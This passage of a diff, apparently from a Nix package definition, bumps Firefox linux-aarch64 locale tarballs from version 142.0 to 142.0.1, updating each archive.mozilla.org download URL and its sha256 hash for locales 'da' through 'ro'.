-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/da/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/da/firefox-142.0.1.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "772da9d37468600612cc931ec57e1b0a27ee0793964f9e2fd277524a02a5be6d";
+      sha256 = "c2c31b59c5a598c42ed889285c4a9201cf03d0f5b8279746e6e727041085ca25";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/de/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/de/firefox-142.0.1.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "c08668457c6067c54ef68b9965c427ea50121f28a5660ec17b2a037c4ee6ce4e";
+      sha256 = "f22775dc6853031f75af8427f1133b8f45747879b43936ab900db1b2db639d7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/dsb/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/dsb/firefox-142.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "10cddf31b30e0481098e550a8ac3ea22320d49b8b57c35e7fc8220c07e5e1432";
+      sha256 = "a278e154a1e54dbe70d906979bdd40eef74f171b8c203b1597070314e65b21e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/el/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/el/firefox-142.0.1.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "d6cb9fefe36ee2631a33dd8a689fe071c582c2922aa18cb99b84179e7c17c906";
+      sha256 = "0db426ae0e7239ffa049eb2a5ebfc50549f4bbc225772b7dfa47fe3fe1d3cd1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/en-CA/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/en-CA/firefox-142.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "c7215bb67c8fd0435de197343929feeb988b32dc5054961d427bed7cf18e7843";
+      sha256 = "465be6cf596553e2b8d0564886c30e6fff10b8d215e5eea8160dccf9a4ceb9dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/en-GB/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/en-GB/firefox-142.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "d8afd1cee7a075b2e3aba4130556b0ef745a101514772e4871a790126bef0fa3";
+      sha256 = "8728c69e32a61773327a54d89099e88cb773c63bd774c14131c54c9fd3234a39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/en-US/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/en-US/firefox-142.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "87e9fcaecaef101d7a0910ba8960d4b72b5b4ae91fd4e08069088d3c06f9a792";
+      sha256 = "ee3c8aeb57740c4a20b97136876cd40e4b60870ab0068e78ab9de22f2a01399a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/eo/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/eo/firefox-142.0.1.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "0f7eb84df2f80ebed50cfd35ca0b465533df91f4c009caabbb895ea45f0a5927";
+      sha256 = "21579e1ca85655ddb9d9458774ca0dbea21e7458ede71b17becba32ec869a37e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-AR/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/es-AR/firefox-142.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "be2b1f74b1ec841c167ea62c732b2969bb2ceed7835485c66b70235e768ad38b";
+      sha256 = "d774c57d001c0334d9eacfd0c6f078b542842af4f203ca4e6fd8a6bb5754f7de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-CL/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/es-CL/firefox-142.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "438b35e8dbe285acf0208a113c919de2bac2a5a1556f770becfbe5ab62db3ac3";
+      sha256 = "515e3010622fdb9328f8fbd8340de8df19d112904a1cc247fe585c3bb8c6edc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-ES/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/es-ES/firefox-142.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "8df9d6bf6834f9b0a1b168ccd4804f574c141845868a0f3d3ed93f244762236d";
+      sha256 = "cba62ebf12803cae9e4d98cb48120835f3d592611a83b2d55132abba7d8d1b83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-MX/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/es-MX/firefox-142.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "bbc54fa49c4c017c3efdbbf71bef0f2bd60fcb16ea41cb1661c975e47f8af613";
+      sha256 = "edcaadf4d4efe7b49f88d5cf92addf76e0c7dccaa9c8a5deb0904eecacc9be2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/et/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/et/firefox-142.0.1.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "2a8f2f360892612346f8cd683578d304a181ca802806d4c93a90e74db2cf697a";
+      sha256 = "cee5562e62d4cacac6af8f6d4c83b2d15225b25f87a7fd874755b2b0b641b63c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/eu/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/eu/firefox-142.0.1.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "530b8f2f515bd836bd81029f5bfd3f6ecf5efcece3b403b7e2ea164d1bcfc7c2";
+      sha256 = "03214dbf8030dc922ec584151b392cfa5290b00bc85c8195dfbb8f40426ff93e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fa/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/fa/firefox-142.0.1.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "9c13f47698960fd988e33cf73aac95ab53d19a0280dac046212098aab0f5993d";
+      sha256 = "c199e764dbe5e90aeb4d31892c418185f39a507b9749cff4b9414e4463aeab04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ff/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ff/firefox-142.0.1.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "234c28101a09410237efec148403d98dbf8a7d50399884470d14d22fa72401ad";
+      sha256 = "c79be278973b2491110e8307f6924ad2f76610601d274708ee903f9c531c2d4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fi/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/fi/firefox-142.0.1.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "0574523f4c7881cb49ebcd5f3c403c49fc4fbe8babb89bac1385bf66fbea21d9";
+      sha256 = "a35be2aa7f8d91f8630f81791043efb40cc77fa23d6c331ad92dece9067851af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/fr/firefox-142.0.1.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "47faa421fc46ce686199ab409f1a91702d814a54afb796cf953d9f038e13d84a";
+      sha256 = "dc11ae792b339090b3049d621434db6ceaeda1a6a8622b739deefcff2509d210";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fur/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/fur/firefox-142.0.1.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "65ef962f924981c0c5b81d7cb61509a4c20743d326a6fdd3c2f714264982e9f7";
+      sha256 = "abec38749b7e0aad0f7130fd62c9676fb75c402f8b6fc48067b5de81117705b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fy-NL/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/fy-NL/firefox-142.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "355921a6a67974579e7d0fdc541da2c62fc6a44abaccc7678205b42c30461fd7";
+      sha256 = "1b56ff9bf700ddbdbf2c4eb63b1a564525a572b5d7930ad4c54c216f2158142d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ga-IE/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ga-IE/firefox-142.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "08370294b653805b778305f5b4b2384dfd5aad8ee0d5043d986a310ef39e80cd";
+      sha256 = "557ccf06c913bd8d5399832741f358342e106a4f52723ef8d454c2581af297f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gd/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/gd/firefox-142.0.1.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "c7928d2efb173d6f46e05a1793293ab483e67a52cdadf781d7e64775b9cdf290";
+      sha256 = "faa5d753bda3fed336a869d7993a2ef6ecf84648f6fb9f7e417cd2f71de20f13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/gl/firefox-142.0.1.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "217b6b4a910d7d33ed011d3d4d0adac74e3db69f7c3088ac268a808be5576df8";
+      sha256 = "5c79573410d30de2037acab58e2c1ea788bd4b4b37221c1d87a00f09b84fb572";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/gn/firefox-142.0.1.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "7144379cd5ebc4e19ab91a4e5a3b390e0cb7275e84aeb85522ba7644b5286d5f";
+      sha256 = "bca392db3453de341dbc003a4cbf76ad4d96da4f55cf54c9bd1ae5250c0bc03b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gu-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/gu-IN/firefox-142.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "8171ad64962c12ac04cb587e034ca4aa4f7a6f149fde4a550089d11e86feb02c";
+      sha256 = "4af620cac4317bde7b5f46ffe035249a1857dbdd3fb3480b8f742df1ea8f652e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/he/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/he/firefox-142.0.1.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "520c8c5d73446acff1be53b3074b8eaff36ef4ac86a2d9f8eca8896fba9e1adb";
+      sha256 = "d1023f5526910c4fd887cef4883841bde369ef26f698e5868ca3e495260fec4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hi-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/hi-IN/firefox-142.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "fbac4dc5986683415376b40533718939cc422a311e96e6f2527c373fece43b70";
+      sha256 = "aa7b69bfb2e226237d94bf031c9212e89bca476311f1d326f252ec0165e50342";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/hr/firefox-142.0.1.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "aff866ae27f3af64a14012804284dab259907a7aeef823472a8cb00491abb8ab";
+      sha256 = "c73404c94bb8f80f0d59203fabde3d0ce535bd0d7ad0c2cf9676c41c2faf5b6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hsb/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/hsb/firefox-142.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "098951c958676a45c040f32b70c4fd74643590c71c64e91fb978e19c0969bbd9";
+      sha256 = "921ce342289597cbf5a9abf17993d8daeedbd6a18fbf01d3fbfd127baa7de39a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hu/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/hu/firefox-142.0.1.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "a1208d82260716e1088038c049706de1a170bd38502192ce730a81dcd267a4af";
+      sha256 = "c0a6a69bd19a6deada18e32ec44497dc792f535a50673958a3358e106d39f916";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hy-AM/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/hy-AM/firefox-142.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "be24f9a17f4f40ac9138f370d73476d6e0d8415628ff97619ac8423439adc83b";
+      sha256 = "a188922297d116b92ee531eee8191eb7520344d9699dcb4a970a8b29bc03afeb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ia/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ia/firefox-142.0.1.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "3c63bf9838f496103111b7782141146a2fa9b547339237bb4c360a3dce72cc51";
+      sha256 = "a2fbc71ad551a6f0139d6bcb9c15e5b773068dafa706d416f526b786d62e2b32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/id/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/id/firefox-142.0.1.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "71a2998d91311dce30d751c6ab4003b486cd2fb5a18afbeb5101bb331a80575c";
+      sha256 = "a7a86a973f99ee51d1a3ef90714324e469a20cb1d2f98d4b8671fa15f255a778";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/is/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/is/firefox-142.0.1.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "d628774dcb2a688c814b5392089dfe8fc64a571fd999ad20b16d7a85f074a824";
+      sha256 = "539cb99a90876692aa3b2f0464604f32a916b79175b04f1143753f66a4bfe0d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/it/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/it/firefox-142.0.1.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "6d8c5f736cf3cb6f8f6a2639046fdb239375018723a6a969797c4efd274fb8ac";
+      sha256 = "6762e65a7ba5f098bff59caf82ab185815a02baf1c360a58ac1fd2b16531e856";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ja/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ja/firefox-142.0.1.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "2eec4ae4b50140c0840ac64f488b6d773286f8eacc5a0b5de67bd61bb3bdf45e";
+      sha256 = "6225a3bdae1be5acaf6949929783c719e9350e561ae45bedf15b5c1fb7498d3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ka/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ka/firefox-142.0.1.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "4234f52cea786501b4468866de61823d2a58c2e7b04044952162e355c37c2794";
+      sha256 = "d0b67ffc0a9ae60c3ed070f087a7dc610f04581b2d1f84ab8bc6c9c80dffc955";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/kab/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/kab/firefox-142.0.1.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "a857604db9120c0c59197119412b56f22edab243e8f22149b68f8061c38c12f3";
+      sha256 = "999c28b27f5be071172c27c9b6c67690e7ea419f099b6431e98298fc13594141";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/kk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/kk/firefox-142.0.1.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "0bb4d7bf1ae1f19e9170bd1ab3ea8b2f1523cf18e321d09da732e4e810eaacd7";
+      sha256 = "5d2b930e3b7697e18ee236b95dbfe32ee9108c32d43f3eff0fb40ceddc192884";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/km/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/km/firefox-142.0.1.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "89d718b75e60bc77a59d2ad9bf54ef344840d839458685d35c4198b2930edd35";
+      sha256 = "e2a73363b73abe7c00eb06db878834f1cee9abdab7cf46f36ecfe7fde079c47d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/kn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/kn/firefox-142.0.1.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "45a202d8bf61e84b18dc4a3ae1cdf44223c1cd20db818f67eeb85e37502ba994";
+      sha256 = "d21ff75c0449d73c4f505d80bcdc68ae2ba4f887eef4b0b65b4150bb45daea4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ko/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ko/firefox-142.0.1.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "4b92105ca489eefdd704c064c2c5523cae1aa26f184ffc0d19f2906cee524763";
+      sha256 = "f6ab1e5421eecaebba0493ceb6c127ca5fa58dd46289958a341d8269431c4890";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/lij/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/lij/firefox-142.0.1.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "ffd65e7718936007a810f6a4c1e9e74e8e0adfa5ce4a26e178f63f6014c91d34";
+      sha256 = "9d73f808cd9b94c14f4df4af9fdd21127111f9fac46e3175f1d5bcb17be10618";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/lt/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/lt/firefox-142.0.1.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "d4da8603b69d68f1038639e08c4a194bc5bfd76e8d0b32935756ff3ae0e00e0c";
+      sha256 = "de19d76161fd13fcd667bacfd185bfa2751dea4253831ed10a602ca9eecb4c41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/lv/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/lv/firefox-142.0.1.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "d81de18d78a7248d12936677b1dfb5ed8a57747629473a970e770e9846857c41";
+      sha256 = "eecc82a807da13114418d71dc322616cea10aa194a0659ae98081c09a30f4c5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/mk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/mk/firefox-142.0.1.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "982d6323bc2e209676730915927bfe55b7566a5cc257ab4728f1ffd68e683234";
+      sha256 = "8a4dc4229395434b6703a180ed7c8209d83d5f9893934e959c410ee349341502";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/mr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/mr/firefox-142.0.1.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "f4099bcc77d2b47a83ab8ab66877929c07d17bdf01b01c5d8a5b964999f57602";
+      sha256 = "cb22d328049a3a9c45d02a3e0f7299e68e9bfb895f4c639e7a6023e914e2eab3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ms/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ms/firefox-142.0.1.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "80dd31200a7dd25c8605c7a277c8b6bba95b880e4cf8667cfae28db0676652c3";
+      sha256 = "8b6fa0d0276f7c844cf1c27672255e8bc57ff1442a31e3f5b155b62b43c5c1ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/my/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/my/firefox-142.0.1.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "d7f5a009caf96bdd36bedf32aa303d370bc242b258d13670550104493ec631cd";
+      sha256 = "cc4f8fb58d03ca5fb43529a807dcdb1fcf2fb26501e974306407716d6a0e066e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/nb-NO/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/nb-NO/firefox-142.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "f36e746068f472c8d41201a85a32cb3cae088ba7c5a09b8b14d9b438a31d3f62";
+      sha256 = "7747b314704d4d22645bc54c2b4b75e4afe95387818e190752d3521c35eb9c36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ne-NP/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ne-NP/firefox-142.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "610a3b97b32376952838a9719b126e5e571d144865c2ad3b18cb51fd8c538418";
+      sha256 = "edb6aefbf762542d96150e1c4d3d091b887a7c12448b927d5de72331083d31cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/nl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/nl/firefox-142.0.1.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "f6fac748ec84f35a53942d5c99ad66708d55507028c5eaa36be615f002ccda1f";
+      sha256 = "6002aa65402a1dfc1aac262f14e6c313903101af69493ed47e17ee35fda70924";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/nn-NO/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/nn-NO/firefox-142.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "a20a47b4e26e90944694e1d6eff683bd1d4b8ae784ad4ba091cd0c06f3bff4ed";
+      sha256 = "43e94359c2acb63127d716a1abffaf8a54ee0f63eb266df89a64ef194ec220b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/oc/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/oc/firefox-142.0.1.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "732629aaca85c300d48c24f8a11226fcc7ab96274a7cca7d9c24dd6378517baa";
+      sha256 = "b3115de1b82c00fa6ae0a92028370aad9f7b3936f1e71dc4be18a25da9780824";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pa-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/pa-IN/firefox-142.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "971fecbb0b58308b1c47d47ed6a56cfd919b77898dcf140aec69ce92ed94514b";
+      sha256 = "f7b14d2dfca5886b3d965bb4ea2ff4c96c53e48ce42cb8b9188fe7ee390105c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/pl/firefox-142.0.1.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "012bdb0d7185dacb9e56a3fa773cef0ee250e524b3c40d0c7f14b9e854848c00";
+      sha256 = "667073908822847be9358b4f73e608a71d638754fa01636ea7e1fe2381a72a6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pt-BR/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/pt-BR/firefox-142.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "58c4cf11db472c71710e913236f02c862aa00d68dcab9d0959c9a4c3c7374eb6";
+      sha256 = "19df1dcfef15c99ee20e6edab6b61bc39012800a59af8a743678863aff8c52ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pt-PT/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/pt-PT/firefox-142.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "f36b64e965d71e8451ec5d053f3033ec019245c825457a28de68bc8dd9db0398";
+      sha256 = "f15976b16830385c606bc728ea59586a14bc78bfdc60509dd91b6dda63a39185";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/rm/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/rm/firefox-142.0.1.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "a12419dbbc76f3bd63f1a83f8107da7db45c7c02c33d8c146b3bef391f72b2a4";
+      sha256 = "0b368945265d45ebdf48ffce59b3a02a086ea7dd5e4250ef52410ef05486c79d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ro/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ro/firefox-142.0.1.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
